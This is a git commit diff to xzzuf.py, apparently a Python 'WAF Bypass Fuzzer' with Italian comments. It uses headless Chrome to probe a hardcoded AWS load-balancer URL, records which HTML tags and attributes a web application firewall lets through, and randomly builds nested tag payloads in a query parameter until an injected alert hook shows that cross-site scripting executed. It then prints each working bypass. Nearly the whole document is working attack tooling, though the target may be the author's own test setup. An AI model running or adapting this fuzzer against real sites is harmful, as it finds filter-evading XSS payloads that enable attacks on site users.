updated fuzzing logic
This commit is contained in:
parent
a6c0c62cc9
commit
5e615cc189
154
xzzuf.py
154
xzzuf.py
@ -7,6 +7,10 @@ from urllib.parse import urlparse
|
|||||||
from urllib.parse import urlencode
|
from urllib.parse import urlencode
|
||||||
|
|
||||||
from tags import Attributes
|
from tags import Attributes
|
||||||
|
from tags import Tags
|
||||||
|
|
||||||
|
import random
|
||||||
|
import argparse
|
||||||
|
|
||||||
# WAFBypass class
|
# WAFBypass class
|
||||||
|
|
||||||
@ -20,22 +24,71 @@ print(t)
|
|||||||
|
|
||||||
|
|
||||||
class WAFBypass():
|
class WAFBypass():
|
||||||
|
# Script JS per sovrascrivere la funzione alert nativa di JS.
|
||||||
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
|
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
|
||||||
|
|
||||||
def __init__(self, url) -> None:
|
def __init__(self, url) -> None:
|
||||||
|
"""
|
||||||
|
Inizializzazione webdriver e controllo connessione all'URL.
|
||||||
|
"""
|
||||||
self.options = webdriver.ChromeOptions()
|
self.options = webdriver.ChromeOptions()
|
||||||
self.options.add_argument('--no-sandbox')
|
self.options.add_argument('--no-sandbox')
|
||||||
self.options.add_argument('--headless')
|
self.options.add_argument('--headless')
|
||||||
self.driver = webdriver.Chrome(options=self.options)
|
self.driver = webdriver.Chrome(options=self.options)
|
||||||
self.url = urlparse(url)
|
self.url = urlparse(url)
|
||||||
|
|
||||||
|
# Liste di attributi e tag non filtrati
|
||||||
|
self.unfiltered_attributes = list()
|
||||||
|
self.unfiltered_tags = list()
|
||||||
|
|
||||||
if not self.check_connection():
|
if not self.check_connection():
|
||||||
raise Exception("Connection Error")
|
raise Exception("Connection Error")
|
||||||
|
|
||||||
|
# Inietta il codice in ogni nuova pagina
|
||||||
self.driver.execute_cdp_cmd(
|
self.driver.execute_cdp_cmd(
|
||||||
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
|
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
|
||||||
|
|
||||||
|
def identify_unfiltered_attributes(self):
|
||||||
|
"""
|
||||||
|
Identifica gli attributi che non sono filtrati dal WAF.
|
||||||
|
"""
|
||||||
|
print("[*] Identifying unfiltered attributes:")
|
||||||
|
try:
|
||||||
|
for attr in Attributes:
|
||||||
|
encoded = urlencode({"param2": f"{attr}"})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
is403, _ = self.navigate(url)
|
||||||
|
if not is403:
|
||||||
|
print(f" [+] {attr.name}")
|
||||||
|
self.unfiltered_attributes.append(attr)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
self.driver.close()
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
def identify_unfiltered_tags(self):
|
||||||
|
"""
|
||||||
|
Identifica i tag che non sono filtrati dal WAF
|
||||||
|
"""
|
||||||
|
print("[*] Identifying unfiltered tags:")
|
||||||
|
try:
|
||||||
|
for tag_obj in Tags: #TODO aggiungere lista tag
|
||||||
|
tag_str = f"<{tag_obj.name}></{tag_obj.name}>" if not tag_obj.self_closing else f"<{tag_obj.name}/>"
|
||||||
|
encoded = urlencode({"param2": tag_str})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
is403, _ = self.navigate(url)
|
||||||
|
|
||||||
|
if not is403:
|
||||||
|
print(f" [+] {tag_obj.name}")
|
||||||
|
self.unfiltered_tags.append(tag_obj)
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
self.driver.close()
|
||||||
|
exit(0)
|
||||||
|
|
||||||
def check_connection(self):
|
def check_connection(self):
|
||||||
|
"""
|
||||||
|
Verifica della possibilità di connessione all'URL.
|
||||||
|
"""
|
||||||
try:
|
try:
|
||||||
self.driver.get(self.url.geturl())
|
self.driver.get(self.url.geturl())
|
||||||
return True
|
return True
|
||||||
@ -43,6 +96,9 @@ class WAFBypass():
|
|||||||
return False
|
return False
|
||||||
|
|
||||||
def wait_for_pageload(self):
|
def wait_for_pageload(self):
|
||||||
|
"""
|
||||||
|
Delay per attendere che la pagina web sia completamente caricata.
|
||||||
|
"""
|
||||||
try:
|
try:
|
||||||
WebDriverWait(self.driver, 4).until(
|
WebDriverWait(self.driver, 4).until(
|
||||||
lambda driver: driver.execute_script("return document.readyState") == "complete")
|
lambda driver: driver.execute_script("return document.readyState") == "complete")
|
||||||
@ -50,17 +106,29 @@ class WAFBypass():
|
|||||||
raise Exception("Page Load Error")
|
raise Exception("Page Load Error")
|
||||||
|
|
||||||
def get_page_title(self):
|
def get_page_title(self):
|
||||||
|
"""
|
||||||
|
Ritorna il titolo della pagina corrente
|
||||||
|
"""
|
||||||
return self.driver.title
|
return self.driver.title
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def is_403(self):
|
def is_403(self):
|
||||||
|
"""
|
||||||
|
Verifica se la pagina è 403 analizzando il titolo.
|
||||||
|
"""
|
||||||
return self.driver.title == "403 Forbidden"
|
return self.driver.title == "403 Forbidden"
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def triggered_xss(self):
|
def triggered_xss(self):
|
||||||
|
"""
|
||||||
|
Verifica se l'XSS è stato eseguito.
|
||||||
|
"""
|
||||||
return self.driver.execute_script("return window.alert_trigger")
|
return self.driver.execute_script("return window.alert_trigger")
|
||||||
|
|
||||||
def navigate(self, url):
|
def navigate(self, url):
|
||||||
|
"""
|
||||||
|
Naviga verso un URL specifico e controlla se si verifica un errore 403 o un'esecuzione di XSS.
|
||||||
|
"""
|
||||||
self.driver.get(url)
|
self.driver.get(url)
|
||||||
self.wait_for_pageload()
|
self.wait_for_pageload()
|
||||||
|
|
||||||
@ -76,19 +144,95 @@ class WAFBypass():
|
|||||||
return (is403, triggerxss)
|
return (is403, triggerxss)
|
||||||
|
|
||||||
def run_fuzz(self):
|
def run_fuzz(self):
|
||||||
|
"""
|
||||||
|
Fuzzing solo su attributi non filtrati.
|
||||||
|
"""
|
||||||
|
print("[*] Start fuzzing:")
|
||||||
try:
|
try:
|
||||||
for attr in Attributes:
|
for attr in self.unfiltered_attributes:
|
||||||
# print(f"[*] Testing {attr.name} attribute {attr}")
|
# print(f"[*] Testing {attr.name} attribute {attr}")
|
||||||
encoded = urlencode({"param2": f"{attr}"})
|
encoded = urlencode({"param2": f"{attr}"})
|
||||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
# print(url)
|
# print(url)
|
||||||
is403, trigger = self.navigate(url)
|
_, trigger = self.navigate(url)
|
||||||
if not is403:
|
|
||||||
print(f"[+] {attr.name} attribute is not filtered")
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
self.driver.close()
|
self.driver.close()
|
||||||
exit(0)
|
exit(0)
|
||||||
|
|
||||||
|
def run_fuzz2(self, num_iterations=100000):
|
||||||
|
"""
|
||||||
|
Esegue un fuzzing personalizzato utilizzando solo tag e attributi che non sono stati filtrati.
|
||||||
|
"""
|
||||||
|
print("\n[*] Start fuzzing:")
|
||||||
|
try:
|
||||||
|
for _ in range(num_iterations):
|
||||||
|
tag_obj = random.choice(self.unfiltered_tags)
|
||||||
|
attr = random.choice(self.unfiltered_attributes)
|
||||||
|
|
||||||
|
# Genera numero random di figli (child) e attributi per ciascun figlio
|
||||||
|
num_child = random.randint(5, 10)
|
||||||
|
children = []
|
||||||
|
|
||||||
|
for _ in range(num_child):
|
||||||
|
child_tag = random.choice(self.unfiltered_tags)
|
||||||
|
child_attr = random.choice(self.unfiltered_attributes)
|
||||||
|
|
||||||
|
if child_tag.self_closing:
|
||||||
|
children.append(f"<{child_tag.name} {child_attr}/>")
|
||||||
|
else:
|
||||||
|
children.append(f"<{child_tag.name} {child_attr}></{child_tag.name}>")
|
||||||
|
|
||||||
|
# Crea la stringa del tag HTML
|
||||||
|
if tag_obj.self_closing:
|
||||||
|
tag_str = f"<{tag_obj.name} {attr}/>"
|
||||||
|
else:
|
||||||
|
child_str = ''.join(children)
|
||||||
|
tag_str = f"<{tag_obj.name} {attr}>{child_str}</{tag_obj.name}>"
|
||||||
|
|
||||||
|
# Codifica e invia la richiesta
|
||||||
|
encoded = urlencode({"param2": tag_str})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
|
||||||
|
is403, triggered = self.navigate(url)
|
||||||
|
|
||||||
|
if not is403 and triggered:
|
||||||
|
print(f"[*] Bypass found: {tag_str}")
|
||||||
|
# if args.link:
|
||||||
|
print(f" {url}")
|
||||||
|
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
self.driver.close()
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
# Creazione dell'istanza della classe.
|
||||||
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
|
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
|
||||||
w.run_fuzz()
|
|
||||||
|
# Avvio identificazione di attributi e tag validi
|
||||||
|
|
||||||
|
w.identify_unfiltered_attributes()
|
||||||
|
w.identify_unfiltered_tags()
|
||||||
|
w.run_fuzz2()
|
||||||
|
|
||||||
|
'''
|
||||||
|
if __name__ == '__main__':
|
||||||
|
parser = argparse.ArgumentParser(description="WAF Bypass Fuzzer")
|
||||||
|
parser.add_argument('-u', '--url', required=True, help='Target URL')
|
||||||
|
parser.add_argument('-p', '--param', required=True, help='Target Parameter')
|
||||||
|
parser.add_argument('-i', '--iterations', type=int, help='Number of iterations (default: infinite)')
|
||||||
|
parser.add_argument('-l', '--link', action='store_true', help='Provide full request link')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
w = WAFBypass(args.url)
|
||||||
|
|
||||||
|
if args.iterations:
|
||||||
|
w.run_fuzz2(num_iterations=args.iterations)
|
||||||
|
else:
|
||||||
|
# loop infinito se '-i' non è specificato
|
||||||
|
while True:
|
||||||
|
w.identify_unfiltered_attributes()
|
||||||
|
w.identify_unfiltered_tags()
|
||||||
|
w.run_fuzz2()
|
||||||
|
|
||||||
|
'''
|
||||||
|
Loading…
Reference in New Issue
Block a user